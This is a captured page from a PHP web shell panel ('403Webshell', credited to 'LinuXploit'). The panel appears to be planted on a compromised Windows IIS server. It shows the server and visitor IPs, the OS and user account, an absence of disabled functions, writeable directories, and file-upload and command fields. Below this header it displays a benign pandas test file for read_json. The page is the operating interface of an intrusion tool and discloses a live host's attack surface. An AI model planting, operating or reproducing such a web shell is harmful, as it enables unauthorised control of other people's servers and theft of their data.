403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/io/json/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/io/json/test_deprecated_kwargs.py
"""
Tests for the deprecated keyword arguments for `read_json`.
"""
from io import StringIO

import pandas as pd
import pandas._testing as tm

from pandas.io.json import read_json


def test_good_kwargs():
    df = pd.DataFrame({"A": [2, 4, 6], "B": [3, 6, 9]}, index=[0, 1, 2])

    with tm.assert_produces_warning(None):
        data1 = StringIO(df.to_json(orient="split"))
        tm.assert_frame_equal(df, read_json(data1, orient="split"))
        data2 = StringIO(df.to_json(orient="columns"))
        tm.assert_frame_equal(df, read_json(data2, orient="columns"))
        data3 = StringIO(df.to_json(orient="index"))
        tm.assert_frame_equal(df, read_json(data3, orient="index"))

Youez - 2016 - github.com/yon3zu
LinuXploit